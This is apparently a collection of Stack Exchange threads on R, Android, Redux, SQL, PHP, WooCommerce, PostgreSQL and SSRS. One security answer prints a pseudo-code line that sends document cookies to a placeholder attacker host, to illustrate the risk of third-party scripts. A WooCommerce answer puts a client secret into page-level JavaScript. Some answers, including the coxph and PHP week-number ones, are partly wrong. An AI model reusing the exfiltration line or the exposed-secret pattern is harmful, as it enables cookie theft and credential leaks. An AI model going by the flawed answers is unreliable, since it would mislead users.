text:
Q: Two different results from coxph in R, using same stop and start times, why? I am running into a roadblock in my survival analysis; I think it has to do with censoring type. Here is the first 30 lines of my survival data. tstart is when a patient is admitted and starts receiving the Intervention, tstop is either death (status = 1) or discharge (censored, status = 0):
    tstart tstop status Intervention
1        2    14      0        FALSE
2        2     5      0        FALSE
3        2    10      1        FALSE
4        5     8      0        FALSE
5        6    10      0        FALSE
6        6    10      0        FALSE
7        7    10      0        FALSE
8        8    20      1         TRUE
9        8    25      0        FALSE
10       8    18      0        FALSE
11       8    11      0        FALSE
12       8     9      0        FALSE
13       9    11      0        FALSE
14       9    52      0         TRUE
15       9    26      1        FALSE
16      10    20      1         TRUE
17      10    14      0        FALSE
18      10    14      0        FALSE
19      10    11      0        FALSE
20      10    23      0         TRUE
21      10    26      0         TRUE
22      10    16      0        FALSE
23      11    21      0         TRUE
24      11    96      0         TRUE
25      11    14      0        FALSE
26      11    16      0         TRUE
27      11    14      0        FALSE
28      11    16      0        FALSE
29      11    16      0        FALSE
30      11    38      1         TRUE

Depending on how I enter this data into the coxph function, I get two different results. Namely:
# METHOD ONE:
> coxph (Surv (time = (tstop - tstart), event = status) ~ Intervention, data = df.use)
Call:
coxph(formula = Surv(time = (tstop - tstart), event = status) ~
    Intervention, data = df.use)

                     coef exp(coef) se(coef)      z     p
InterventionTRUE -0.05975   0.94200  0.04727 -1.264 0.206

Likelihood ratio test=1.58  on 1 df, p=0.2084
n= 7362, number of events= 2364

# METHOD TWO:
> coxph (Surv (time = tstart, time2 = tstop, event = status) ~ Intervention, data = df.use)
Call:
coxph(formula = Surv(time = tstart, time2 = tstop, event = status) ~
    Intervention, data = df.use)

                     coef exp(coef) se(coef)      z             p
InterventionTRUE -0.29936   0.74129  0.04902 -6.106 0.00000000102

Likelihood ratio test=35.67  on 1 df, p=0.000000002337
n= 7362, number of events= 2364

I thought the two methods would return the same hazard ratio, but the results are extremely different. Why is this? How can it be avoided?

A: I don't believe Surv(time = (tstop - tstart), event = status) is equivalent to  Surv (time = tstart, time2 = tstop, event = status).  The interval between time and time2 isn't the entire observation , it's the time during which death or censoring is known to have happened.  So the time and time2 for all death events both equal tstop - tstart.
The interval is used when you don't know exactly what the time to death or censoring is, but you know it is between two values.


text:
Q: Layout with two fragments: one fragment and a fragment with the Google Map I'm trying to implement the following design.
TextView should take up space by content, and the rest of the space is a map.
+----------------+
|                |
|    Map         | <-- id/fragment_container_1
|                |
|                |
+----------------+
|                |
|    TextView    | <-- id/fragment_container_2
|                |
+----------------+

main.xml
<LinearLayout
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical">

    <FrameLayout
        android:id="@+id/fragment_container_1"
        android:layout_width="match_parent"
        android:layout_height="wrap_content" />

    <FrameLayout
        android:id="@+id/fragment_container_2"
        android:layout_width="match_parent"
        android:layout_height="wrap_content" />
</LinearLayout>

fragment_1.xml
<LinearLayout
    android:orientation="vertical"
    android:layout_width="match_parent"
    android:layout_height="wrap_content" >

    <TextView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:text="Client Label" />
</LinearLayout>

map.xml
<LinearLayout
    android:orientation="vertical"
    android:layout_width="match_parent"
    android:layout_height="wrap_content">

    <com.google.android.gms.maps.MapView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:id="@+id/map_view_observer" />
</LinearLayout>

Java code:
FragmentManager fragmentManager = getSupportFragmentManager();
FragmentTransaction fragmentTransaction = fragmentManager.beginTransaction();
// map
Fragment fragmentMap = fragmentManager.findFragmentByTag("ObserverMapFragment");
if (fragmentMap == null)   {
    fragmentMap = ObserverMapFragment.newInstance();
    fragmentTransaction
            .replace(R.id.fragment_container_1, fragmentMap, "ObserverMapFragment");
}
// fargment 1
Fragment fragmentObserver = fragmentManager.findFragmentByTag("ObserverFragment");
if (fragmentObserver == null)   {
    fragmentObserver = ObserverFragment.newInstance();
    fragmentTransaction
            .replace(R.id.fragment_container_2, fragmentObserver, "ObserverFragment");
}
fragmentTransaction.commit();

However, after that I get that the map occupies all visible space.
+----------------+
|                |
|                |
|    Map         |
|                |
|                |
+----------------+

Where I made a mistake?
Maybe I'm wrong in the very architecture of the application with several fragments?

A: Edit your main.xml like this
<LinearLayout
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical">

<FrameLayout
    android:layout_weight="1"
    android:id="@+id/fragment_container_1"
    android:layout_width="match_parent"
    android:layout_height="wrap_content" />

<FrameLayout
    android:id="@+id/fragment_container_2"
    android:layout_width="match_parent"
    android:layout_height="wrap_content" />

A: You can try with this

*

*Add  android:layout_height="0dp"

*Add android:weightSum
Finally
<LinearLayout
            android:layout_width="match_parent"
            android:layout_height="match_parent"
            android:orientation="vertical"
            android:weightSum="2">

            <FrameLayout
                android:layout_weight="1"
                android:id="@+id/fragment_container_1"
                android:layout_width="match_parent"
                android:layout_height="0dp"
              />

            <FrameLayout
                android:layout_weight="1"
                android:id="@+id/fragment_container_2"
                android:layout_width="match_parent"
                android:layout_height="0dp" />
      </LinearLayout>

A: Don't give a textview size and map size match parent.

redpajama_set_name: RedPajamaStackExchange


text:
Q: I'm trying to run the SASS compiler in Linux console I have been installed sass on my Debian wheezy laptop, but when I want to run the sass compiler the console display the following error:
$ sass --watch develop.scss:style.css
>>> Sass is watching for changes. Press Ctrl-C to stop.
NoMethodError: undefined method `join' for nil:NilClass
  Use --trace for backtrace.

*

*sass -v givs "Sass 3.4.6 (Selective Steve)".

*I'm trying to hack the Gemfile but not found this file.

*The gems for the compass, listen and ruby and ruby1.9.1-dev have been installed too.


text:
Q: Redux actions are not mapped to react props I'm making my first react-native app and I cant seem to bind my actions to props. In the component this.props.actions is an empty, and LoginActions is also an empty object in the mapDispatchToProps function.  This leads me to believe its an issue in the action or the connect binding.  Can anyone see where I'm going wrong?
Component:
import React, { Component } from 'react';
import PropTypes from 'prop-types';
import { connect } from 'react-redux';
import { bindActionCreators } from 'redux';
import {
  View,
  StyleSheet,
} from 'react-native';
import {
  google,
  facebook,
  twitter,
} from 'react-native-simple-auth';
import LoginConstants from '../../constants/Login.constants';
import * as LoginActions from '../../actions/Login.actions';
import LoginForm from '../../components/LoginForm';

class Login extends Component {
  constructor(props) {
    super(props);
    alert(JSON.stringify(this.props.actions))
    this.loginActions = {
      google,
      facebook,
      twitter,
    };

    this.loginAction = this.loginAction.bind(this);
  }

  loginAction(platform) {
    alert(JSON.stringify(this.props.actions))
    // this.loginActions[platform](LoginConstants[platform])
    //   .then((info) => {
    //     alert(info);
    //     // info.user - user details from the provider
    //     // info.credentials - tokens from the provider
    //   }).catch((error) => {
    //     throw Error(`Error ${error.code}: ${error.description}`);
    //   });
  }

  render() {
    return (
      <LoginForm actions={this.loginActions} loginAction={this.loginAction} />
    );
  }
}

Login.propTypes = {
  actions: PropTypes.object.isRequired,
  user: PropTypes.object
};

const styles = StyleSheet.create({
});

const mapStateToProps = (state) => {
  return {
    user: state.user
  };
};

const mapDispatchToProps = (dispatch) => {
  return {
    actions: bindActionCreators(LoginActions, dispatch)
  };
};

export default connect(mapStateToProps, mapDispatchToProps)(Login);

Actions:
import LoginConstants from '../constants/Login.constants';

export function getUser(userId) {
  return {
    type: LoginConstants.actions.getUser,
    payload: new Promise((resolve, reject) => {
      setTimeout(() => {
        resolve({
          userId: '123ddgs',
        });
      }, 2000);
    });
  };
};

export function saveUser(user) {
  return {
    type: LoginConstants.actions.saveUser,
    payload: new Promise((resolve, reject) => {
      setTimeout(() => {
        resolve({
          userId: '123ddgs',
        });
      }, 2000);
    })
  };
};

Reducer:
import LoginConstants from '../constants/Login.constants';

const loginReducers = (state = {
  user: {},
  prevStates: []
}, action) => {
  switch (action.type) {
    case LoginConstants.actions.getUser:
      state = {
        ...state,
        user: action.payload,
        prevStates: [...state.prevStates, action.payload]
      };
      break;

    case LoginConstants.actions.saveUser:
      state = {
        ...state,
        user: action.payload,
        prevStates: [...state.prevStates, action.payload]
      };
      break;
  }

  return state;
};

export default loginReducers;

Store:
import {
  createStore,
  combineReducers,
  applyMiddleware,
} from 'redux';
import thunk from 'redux-thunk';
import promise from 'redux-promise-middleware';
import { createLogger } from 'redux-logger';
import loginReducers from './src/reducers/Login.reducers';
import beerReducers from './src/reducers/Beer.reducers';

export default createStore(
  combineReducers({
    loginReducers,
    beerReducers,
  }),
  {},
  applyMiddleware(createLogger(), thunk, promise())
);

A: JSON.stringify strips functions from its output and therefore, the actions and dispatcher were not visible in the alert output.


text:
Q: For bin/magento indexer:reindex catalog_product_attribute running for unlimited time For production site it's work well.
When we try to use master-slave marriadb then it's running for unlimited time.
A picture is attached, where the query is on Copying to tmp table is running for unlimited time.
Any clue.
Magento - 2.2.7 (CE)
Database - MarriaDB 10.1.x
Master-Slave (Read-write)

A: You can try the following optimization:
optimizer_switch='rowid_filter=off'
optimizer_use_condition_selectivity = 1

More detail


text:
Q: SQL Code for Running Total does not recognise table name I have a question on creating running totals in MS Access 2010 similar to the one here:
Access 2010 - query showing running total for multiple records, dropping old record and adding new record on each line
However when I input the equivalent code from that thread I get an error saying that the database cannot be found (Access seems to think the table I have specified is the database name)
Here is the code from the original thread:-
SELECT hbep1.EmployeeID, hbep1.PayPeriodID,
    (
    SELECT Sum(hbep2.HoursUsed)
    FROM Hours_by_Empl_PP hbep2
    WHERE hbep2.EmployeeID=hbep1.EmployeeID
        AND (hbep2.PayPeriodID Between hbep1.[PayPeriodID]-3
        And hbep1.[PayPeriodID])
    ) AS Sum_of_Hours_last_4_PPs
FROM Hours_by_Empl_PP hbep1;

Here is the code I inputted into my query:-
SELECT
    V4_Try.ID_NIS_INV_HDR,
    V4_Try.ID_ITM,
    V4_Try.RunTot3,
    V4_Try.BomVsActQty,
    DMin("RunTot3","V4_Try","[ID_Itm]=" & [ID_ITM]) AS IDItmMin,
    DMax("RunTot3","V4_Try","[ID_Itm]=" & [ID_ITM]) AS IDItmMax,
    (
       SELECT Sum([V4_Try].[BomVsActQty])
       FROM [V4_Try].[BomVsActQty]
       WHERE [V4_Try].[ID_ITM]=[V4_Try].[ID_ITM]
           AND (IDItmMax < IDItmMin)
    ) AS RunTot6
FROM V4_Try
ORDER BY V4_Try.ID_ITM, V4_Try.RunTot3;

A: One thing I notice is that the main query uses DMax() and DMin() to create some aliased columns
...
DMin("RunTot3","V4_Try","[ID_Itm]=" & [ID_ITM]) AS IDItmMin,
DMax("RunTot3","V4_Try","[ID_Itm]=" & [ID_ITM]) AS IDItmMax,
...

and then the subquery tries to use those aliases in its WHERE clause
(
   SELECT ...
   WHERE...
       AND (IDItmMax < IDItmMin)
) AS RunTot6

I'm pretty sure that the subquery will have no knowledge of the column aliases in the "parent" query, so they may be the items that are unrecognized.

A: Start by running this query:
SELECT * FROM V4_Try;

Then develop for complexity.  Build the nested query before anything else.  When you know that runs, try adding your aliases, then the DMax() function, and so on.  Isolate the point at which you have an error popping up.
This is the process to fix a query.
Oh, and please specify the precise error that is raised by Access.  Also, if this is being run from VBA, please let us know because that affects your trouble-shooting.


text:
Q: How to pass the value from Module A phtml file to Module B php file I want to share one field from Module A to Module B,
I am trying, (Module B)
    $storeid = 'https://mybusiness.googleapis.com/v4/accounts/123456789/locations?filter=storeCode="<?php
            echo $this->getLayout()->createBlock("Zero\Storelocator\Block\Neareststore")->setTemplate("Zero_Storelocator::google_reviews.phtml")->toHtml();
            ?>"';

    $url = 'https://mybusiness.googleapis.com/v4/accounts/'.$accountId.'/locations/'.$storeid.'/reviews';

Logic: I want to get location id based on the store code, store code i am getting from Module A pass to Module B in URL 1 and get location ID using API and pass that location Id to second url
The first step, How to pass my Module A phtml file value to Module B php file,
Any best practice pls suggest?

A: Doing it all in the template file, as it seems you're currently trying to do, is the wrong way. Is your custom block in "Module B" extending the relevant block from "Module A"? If so, the your block in "Module B" has all the same info as "Module A" block. All you have to do is know what method to call to get the information you want (assuming it's not a private method).
Let's assume that "Module A" has the block "Neareststore" (as in your example). Extending the block would be just like extending any other class in PHP:
<?php

namespace VendorB\ModuleB\Block;

class NeareststoreB extends \VendorA\ModuleA\Block\Neareststore
{
}

Let's also assume that there's a protected (or public) method on Module A's "Neareststore" block called getStoreCode. You'd just update your layout to use your new custom block (NeareststoreB) and in your template file you'd call that method to get the desired value:
<?php

$storeCode = $block->getStoreCode();

Now that you've got that info, you can do whatever you need with it.
That being said, if you're putting logic into your template file, you're not following best practices. Logic and processing should happen in the blocks. So if your ultimate goal is to get the store code from Module A then use that to execute a request to Google to get other information to construct a URL, you would be better of moving that logic to the block.
I'd create a method in the block called something like getGoogleBusinessReviews. That would then call the getStoreCode method of the parent block (from Module A) and execute the request to Google to get whatever information is necessary. Then I can either return the constructed URL string, or execute the request to Google and return Google's response as a variable to the template (either one works).
Example:
<?php

namespace VendorB\ModuleB\Block;

class NeareststoreB extends \VendorA\ModuleA\Block\Neareststore
{
  public function getGoogleBusinessReviews() {
    // Get the nearest store's code from \VendorA\ModuleA\Block\Neareststore
    $storeCode = $this->getStoreCode();

    // Retrieve Google store ID
    $ch = curl_init('https://mybusiness.googleapis.com/v4/accounts/123456789/locations?filter=storeCode=' . $storeCode);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($ch);

    // Assuming it responds with JSON
    $data = json_decode($result);

    // Construct the Google Business Reviews URL:
    $url = 'https://mybusiness.googleapis.com/v4/accounts/' . $accountId . '/locations/' . $data['store_id'] . '/reviews';

    // Either fetch the value or return it and let the users browser do it
    return $url;
  }
}


text:
Q: How to embed a JS script on a specific WooCommerce product page I've got a JS code that gives us a product stock amount from another provider for our client.
But how do I embed the JS jQuery on a single WooCommerce product?
var settings = {
  "url": "https://www.URL.com",
  "method": "GET",
  "timeout": 0,
  "headers": {
    "client-secret": "password123"
  },
};
$.ajax(settings).done(function (response) {
  console.log(response);
});

Tried adding it to our theme's header script but with no success.
No experience with JS so any help is greatly appreciated.
Our provider mentioned it's required to be in the header, if that matters. Also is it possible to add an if $product string to only apply this script to certain products? We'd only need this script running on a handful of products.

A: You can add the JS script via the wp_footer hook and use the is_product() conditional tag to insert the code only on the WooCommerce product page.
// It adds a JS script only on the WooCommerce product page.
add_action( 'wp_footer', 'add_script_to_product_page' );
function add_script_to_product_page() {

    // Only on the product page.
    if ( ! is_product() ) {
        return;
    }

    ?>
        <script type="text/javascript">

            var settings = {
                "url": "https://www.URL.com",
                "method": "GET",
                "timeout": 0,
                "headers": {
                    "client-secret": "password123"
                },
            };
            $.ajax(settings).done(function (response) {
                console.log(response);
            });

        </script>
    <?php

}

The code has been tested and works. Add it to your active theme's functions.php file.


text:
Q: How to get weeks starting on sunday? I need to get week number in php where week should be calculated from sunday. By default its from monday. Please help me to find a way how to get week number considering sunday as starting day.
In php manual
    ISO-8601 week number of year, weeks starting on Monday (added in PHP 4.1.0)
But I need to get week number of year, weeks starting on sunday.
thanks

A: Try this:
$week = intval(date('W'));

if (date('w') == 0) {            // 0 = Sunday
   $week++;
}

echo $week;

Not sure if the logic is right though;

A: The first solution is not correct on Jan 01, 2017 or any year that begins on a Sunday.
Try this:
$date = date('Y-m-d');
echo strftime("%U", strtotime($date ) );

A: To expand on silkfire answer and allow for it wrapping around years
   if($date->format('w') == 0){
        if(date('W',strtotime($date->format('Y')."-12-31"))==52 and $date->format('W') == 52){
            $week = 1;
        }
        elseif(date('W',strtotime($date->format('Y')."-12-31"))==53 and $date->format('W') == 53){
            $week = 1;
        }
        else{
            $week++;
        }
    }

A: Try this one. to get sunday day must -1 day.
$date = "2015-05-25";
echo date("W", strtotime("-1 day",strtotime($date)));

A: You should try with strftime
$week_start = new DateTime();
$week = strftime("%U");  //this gets you the week number starting Sunday
$week_start->setISODate(2012,$week,0); //return the first day of the week with offset 0
echo $week_start -> format('d-M-Y'); //and just prints with formatting

A: I solved this like this:
function getWeekOfYear( DateTime $date ) {

        $dayOfweek = intval( $date->format('w') );

        if( $dayOfweek == 0 ) {
            $date->add(new DateInterval('P1D'));
        }

        $weekOfYear = intval( $date->format('W') );

        return $weekOfYear;
}

A: I know this topic is old, but this is a shorter way to do it with elvis operator and "+7 day" expression for strtotime():
$week=date("W",strtotime(date("w")==1?"+7 day":"+0 day"));

if $date("w") returns true means today is a day between tuesday and sunday (1-6), so, we can return today week ('today').
if returns false, it means is monday (0), so, we should return the next day ('+1 week').
This way we don't need to care about last or first day of year or check if current year has 52 or 53 weeks.
Edited: the previous answer (and others in this topic) doesn't work for this year because januray 1st is monday, so, it needs to be 1 week ago (-1 week) excluding sunday (day 6).
date("W",strtotime(date("w")?'-7 day':'+0 day'));

I think a condition asking if januray 1st is monday could work, but I didn't test it yet, I will come back with an answer later
For a custom day you could use this:
$date = strtotime('2018-04-30'); // (it is monday)

if(date("w",strtotime(date('Y',$date).'-01-01'))==1){ // if first day of year is monday
    $week = strtotime(date('w',$date)?"-7 day":"+0 day",$date); // and today is sunday, sub a week
    $week = date("W",$week);
}else{ // if is not monday
    $week = strtotime(date('w',$date)==1?"+7 day":"+0 day",$date); // and today is monday, add a week
    $week = date("W",$week);
}

A: Building on @silkfire's answer:
    $year = date('Y');
    $week_no = date('W');
    if (date('w') == 0) {            // 0 = Sunday
       $week_no++;
    }
    // We shifted the week but the week still starts on a Monday.
    $weekStartDate = new DateTime();
    $weekStartDate->setISODate($year,$week_no);
    // Shift start date to Sunday
    $weekStartDate->add(DateInterval::createFromDateString('-1 day'));

A: Tested in php 5.6 Debian 7
function getWeekNumber(\DateTime $_date)
{
    $week = intval($_date->format('W'));

    if(intval($_date->format('w')) == 0) {
        $week = intval($_date->format('W')) == ( 52 + intval($_date->format('L')) ) ? 1 : $week + 1;
    }

    return $week;
}

A: I needed to ADD day instead of subtracting to get Alghi Fari's answer to work.
$date = "2022-11-13";
echo date("W", strtotime("+1 day",strtotime($date)));


text:
Q: Query has no destination for result data in function PostgreSQL I have a function that returns results to me, but the result is not what I expected and capturing the error message I get this:
query has no destination for result data

this is my code postgresql:
CREATE OR REPLACE FUNCTION teltonika_funelement(
    raw character varying,
    tipo integer)
    RETURNS TABLE(id integer, nombre character varying, value1 character varying)
    LANGUAGE 'plpgsql'

AS $BODY$
DECLARE     i     INT=1;
            y     INT=1;
            Len1  INT;
    ---------------------------------------------------------------------------

BEGIN

     CREATE TEMP TABLE Elements(ID Integer, Nombre CHARACTER VARYING, Value2 CHARACTER VARYING);

    IF Tipo=1 THEN

        Len1    := LENGTH(Raw)/4;

        WHILE i<=Len1
        LOOP
            INSERT INTO Elements
            SELECT
                 hex_to_int(SUBSTRING(Raw FROM y FOR 2))
                ,NULL
                ,SUBSTRING(Raw FROM y+2 FOR 2);

                 y  :=  y+4;

                 i  :=  i+1;
        END LOOP;
    END IF;
    ---------------------------------------------------------------------------
    ---------------------------------------------------------------------------
    IF Tipo = 2 THEN

        Len1 := LENGTH(Raw)/6;

        WHILE i<=Len1
        LOOP
            INSERT INTO Elements
            SELECT
                 hex_to_int(SUBSTRING(Raw FROM y FOR 2))
                ,NULL
                ,SUBSTRING(Raw FROM y+2 FOR 4);

                y := y+6;

                i := i+1;
        END LOOP;
    END IF;
    ---------------------------------------------------------------------------
    ---------------------------------------------------------------------------
    IF Tipo = 4 THEN

        Len1 := LENGTH(Raw)/10;

        WHILE i<=Len1
        LOOP
            INSERT INTO Elements
            SELECT
                 hex_to_int(SUBSTRING(Raw FROM y FOR 2))
                ,NULL
                ,SUBSTRING(Raw FROM y+2 FOR 8);

                y := y+10;

                i := i+1;
        END LOOP;
    END IF;
    ---------------------------------------------------------------------------
    ---------------------------------------------------------------------------
    ---------------------------------------------------------------------------
    IF Tipo = 8 THEN

        Len1 := LENGTH(Raw)/18;

        WHILE i<=Len1
        LOOP
            INSERT INTO Elements
            SELECT
                 hex_to_int(SUBSTRING(Raw FROM y FOR 2))
                ,NULL
                ,SUBSTRING(Raw FROM y+2 FOR 16);

                y := y+18;

                i := i+1;
        END LOOP;
    END IF;
    ---------------------------------------------------------------------------

    SELECT
         E.ID
        ,PropertyName
        ,CASE
            WHEN (TypeParser = 'INT' AND Active=1) THEN (hex_to_int(Value2):: VARCHAR)
            WHEN (TypeParser = 'DECIMAL(18,1)/1000' AND Active=1)   THEN ((hex_to_int(Value2)/1000)::VARCHAR)
         ELSE
            Value2
         END Value1
    FROM Elements E
    LEFT JOIN Teltonika_Tbl_ElementsConf TE ON TE.PropertyID=E.ID;
END;
$BODY$;

ALTER FUNCTION public.teltonika_funelement(character varying, integer)
    OWNER TO postgres;

this is the error message:
query has no destination for result data

I can not find the cause of the error I have tried changing the return like this:
RETURNS TEXT AS

How could I solve it, I really appreciate your help

A: A non void function expects a RETURN corresponding to the data type (or structure) declared at RETURNS. In your case a table containing an integer and two character varying. Take a look at the following test function that returns a table with an int and a text column:
CREATE OR REPLACE FUNCTION myfunc(int)
RETURNS TABLE(val int, txt text)  LANGUAGE 'plpgsql'
AS $$
BEGIN
  CREATE TEMPORARY TABLE tmp(id int,res text) ON COMMIT DROP;

  IF $1=0 THEN
    INSERT INTO tmp VALUES ($1,'Invalid');
  ELSE
    FOR i IN 1..$1 LOOP
     INSERT INTO tmp VALUES (i,'txt '||i);
    END LOOP;
  END IF;

  RETURN QUERY SELECT id,res FROM tmp;
END;
$$;

Test
SELECT * FROM myfunc(2);
 val |  txt
-----+-------
   1 | txt 1
   2 | txt 2
(2 rows)

Demo: db<>fiddle
A few thoughts:

*

*In plpgsql it is possible to have multiple RETURN statements, so that different parts of your code return something different without exiting the function. But in case you prefer to have an intermediate table to collect the information and return it only once in the end, make sure the table is either manually dropped after the function is completed (or if it raises an error!) or simply create it as ON COMMIT DROP. If you prefer the former, take a look at UNLOGGED TABLES.

*Consider using text over character varying.

*Your WHILE loop uses an incremental value of 1 until it reaches a certain limit. You could use a FOR loop and get rid of the variable i in the DECLARE clause. It's no big deal but depending on your function size it might make things cleaner.

*You can use the parameter order instead of its name, e.g. $1. It is also no big deal but it avoids conflicts and/or confusion with columns that might have the same name.


text:
Q: Command+backquote (switch to nexrt window) shortcut no longer works correctly in Mail after upgrading to Ventura This is a very strange one. I just upgraded to Ventura (13.0.1) and have discovered that for some reason the keyboard shortcut Command+backquote, which is supposed to cycle through windows of the currently-active app, no longer works properly when the active app is Mail.
Specifically, Command+backquote will bring focus to the next window, but after cycling through all of the windows once, it will not return to the first window again.  So if I have, say, a drafts open in a separate window, plus the Message Viewer in another window, I can't toggle back and forth between them using the shortcut — I can use it once, and it's effectively a one-way trip.  Holding down Shift+Command+backquote does work for going backwards, but frankly that's a pain, and it never used to work this way.
I have verified that in Finder and Safari the keyboard shortcut still works the way it used to, so this seems to be specific to Mail.
Does anybody have any idea why this is happening, or if there is some way to fix it?

A: I guess I still don't know why this was happening, but I now know how to fix it:  just updated to Ventura 13.1, and the problem is solved.


text:
Q: When linking to an external .js file, isn't this a security risk? Meaning if I have a website and I link to a external .js file, say for jquery or some widget service, they can pretty easy just pull by authentication cookie and then login as me correct?
What if I am under SSL?

A: I can only agree with SLaks and Haochi (+1 and all).
It is extremely insecure and you should never do it even if you trust the domain. Don't trust the answers that tell you that this is not the case because they are just wrong.
This is why now literally all of the links to JavaScript libraries hosted on Google's CDN on the Developer's Guide to Google Libraries API are secure HTTPS links, even though encrypting all of that traffic means a huge overhead even for Google.
They used to recommend using HTTPS only for websites that use HTTPS themselves, now there are no HTTP links in the examples at all.
The point is that you can trust Google and their CDN, but you can never trust the local dns and routers in some poor schmuck's cafe from which your visitors may be connecting to your website and Google's CDN is a great target for obvious reasons.

A: If you include Javascript or JSONP code from another domain, that code has full client-side power and can do whatever it wants.
It can send AJAX requests to automatically make your user do things, and it can steal document.cookie.
If your authentication cookies are HTTP-only, it can't steal them, but it can still impersonate the user using AJAX.
Never include a JS file from a domain you don't trust.
If your page uses SSL, all Javascript files must also use SSL, or an attacker can modify the un-encrypted Javascript to do whatever he wants.
For this reason, browsers will show a security warning if an SSL page uses non-SSL resources.
Note that JSONP is no exception to this rule.
Any JSONP response has full access to your DOM.
If security is a concern, do not use untrusted JSONP APIs.

A: It depends on what do you mean by "pull". As others have said here, cookies are only sent to where it is originated from. However, a third-party (with malicious intent) file, can still send your cookies back to their server by executing some JavaScript code like
// pseudo-code
cookie_send("http://badguy.tld/?"+document.cookies)

So, only include scripts from trusted sources (Google, Facebook, etc)

A: No, because cookies for your site will only be sent to your domain.
For example when your browser sees yoursite.com it will send the authentication cookie for yoursite.com.  If it also has to make a different request for jquery (for the .js script) it won't send the cookie for yoursite.com (but it will send a jquery cookie - assuming one exists).
Remember every resource is a seperate request under HTTP.

A: I am not sure HttpOnly is fully supported across all browsers, so I wouldn't trust it to prevent attacks by itself.
If you're worried about a 3rd party attacker (i.e., not the site offering the JS file) grabbing the cookies, definitely use SSL and secure cookies.
If your page isn't running on SSL, using HttpOnly cookies doesn't actually prevent a man-in-the-middle attack, since an attacker in the middle can intercept the cookies regardless by just pretending to be your domain.
If you don't trust the host of an external .js file, don't use the external .js file.  An external js file can rewrite the entire page DOM to ask for a CC to be submitted to anyone and have it look (to an average user) the same as your own page, so you're pretty much doomed if you're getting malicious .js files.  If you're not sure if a .js host is trustworthy, host a copy of it locally (and check the file for security holes) or don't use it at all.  Generally I prefer the latter.
In the specific case of JQuery, just use the copy on Google's CDN if you can't find a copy you like better.

A: Cookies are domain specific, guarded by same origin policy.


text:
Q: JQuery adding active class to classes of same name I have two identical cases of the divs below.

    Content here

    Text here

.info is hidden with overflow: hidden and when I hover over .box, .info .animates up and contains some info about .content.
But since i have the same classnames when i hover over one of .box, .info on both of them .animates.
I came up with this solution
$(document).ready(function(){
    $('.box').mouseover(function(){
        $(this).find(".info").addClass("active");
    });

    $('.box').hover(function(){
        $('.active').animate({bottom: "0px"}, {queue: false, duration: 100})
    }, function(){
        $('.active').animate({bottom: "-50px"}, {queue: false, duration: 100});
    });

    $('.box').mouseout(function(){
        $(this).find(".info").removeClass("active");
    });
});

I tried to use a hover first to add and remove class but then the active class got removed before the .hover on .animate and .info didn't animate down.
Is this a good solution or are there better and more "correct" ways to do this?

A: You should be able to do something along these lines.
$('.box').hover(function(){
    $(this).find('.info').animate({bottom: "0px"}, {queue: false, duration: 100})
}, function(){
    $(this).find('.info').animate({bottom: "-50px"}, {queue: false, duration: 100});
});

If you give us your css, I could get a working jsfiddle as an example.


text:
Q: Format Date Time Exception in SSRS I have built a SSRS report which combines two int columns of data (i.e.: 6 & 2017) to form a valid month and year result in a column of the SSRS report (i.e.: June 2017) using the following statement: Format(CDate(Fields!MonthEarnedId.Value & "/" & Fields!YearEarned.Value)
That works as desired, however some of the int values for the month have a value of 13 which is supposed to represent all months of the year so that the required format for these values in the report is such as "All 2017".  I thought an IIF statement such as the following would specify the necessary formating for the exclusion, however the rows with a month value of 13 simply display #error.  Any suggestions would be greatly appreciated!
=iif(Fields!MonthEarnedId.Value < 13, Format(CDate(Fields!MonthEarnedId.Value & "/" & Fields!YearEarned.Value), "MMM yyyy"), "All " & Fields!YearEarned.Value)

A: The issue in expression is CDate() when the 13 occurs. As per the design in SSRS,  IIF evaluates TRUE and FALSE both and in your case when the 13 is selected as MonthEarnedId then CDate() tries to convert 13/2017 in MMM yyyy format which is invalid and throws #Error.
I would suggest you to convert the int into month names in your SQL query and bring the data to just concatenate in SSRS but if you strictly have to do it in SSRS then below is the expression you have to put in.
=SWITCH(Fields!MonthEarnedId.Value=1,"Jan"
,Fields!MonthEarnedId.Value=2,"Feb"
,Fields!MonthEarnedId.Value=3,"Mar"
,Fields!MonthEarnedId.Value=4,"Apr"
,Fields!MonthEarnedId.Value=5,"May"
,Fields!MonthEarnedId.Value=6,"Jun"
,Fields!MonthEarnedId.Value=7,"Jul"
,Fields!MonthEarnedId.Value=8,"Aug"
,Fields!MonthEarnedId.Value=9,"Sep"
,Fields!MonthEarnedId.Value=10,"Oct"
,Fields!MonthEarnedId.Value=11,"Nov"
,Fields!MonthEarnedId.Value=12,"Dec"
,Fields!MonthEarnedId.Value=13,"All"
) & " " & CStr(Fields!YearEarned.Value.Value)

A: You are casting that field type to a date variant to apply formatting in doing so, you are also changing the data type of the column from string to datetime. The error occurs when the renderer attempts to cast the string value "All 2017" into a corresponding date time. To get around this you need to cast it back to a string subtype using CStr() or some other way.
=iif(Fields!MonthEarnedId.Value < 13, CStr(Format(CDate(Fields!MonthEarnedId.Value & "/" & Fields!YearEarned.Value), "MMM yyyy")), "All " & Fields!YearEarned.Value)


text:
Q: How do I call a .NET webmethod? Firstly thank you for all answers, this subject may be closed because I made what I want already. I mentioned about how to call a .NET webmethod below.
http://aaarkonusurum.blogspot.com/2011/10/android-ile-dataset-donen-bir-net.html

A: If you need only a method for calling a webservice method, use this:
public static SoapPrimitive callWebServiceMethod(String url,
            String namespace, String methodName,
            HashMap<String, Object> parameters, String soapAction)
            throws IOException, XmlPullParserException, SoapFault {

        SoapObject request = new SoapObject(namespace, methodName);

        if (parameters != null) {
            String[] keys = new String[0];
            keys = (String[]) parameters.keySet().toArray(keys);
            Object[] vals = (Object[]) parameters.values().toArray();

            for (int i = 0; i < parameters.size(); i++) {
                request.addProperty(keys[i], vals[i]);
            }
        }

        SoapSerializationEnvelope envelope = new SoapSerializationEnvelope(
                    SoapEnvelope.VER11);
        envelope.dotNet = true;

        envelope.setOutputSoapObject(request);
        HttpTransportSE androidHttpTransport = new HttpTransportSE(url,
                60 * 1000);

        androidHttpTransport.call(soapAction, envelope);
        return (SoapPrimitive) envelope.getResponse();
    }

and in your activity:
private static final String NAMESPACE = "http://tempuri.org/";
private static final String METHOD_NAME = "MethodName";
private static final String SOAP_ACTION = "http://tempuri.org/MethodName";

        String url = "http://...";

        HashMap<String, Object> parameters = new HashMap<String, Object>();
        parameters.put("param1", param1);
        parameters.put("param2", param2);
        //...

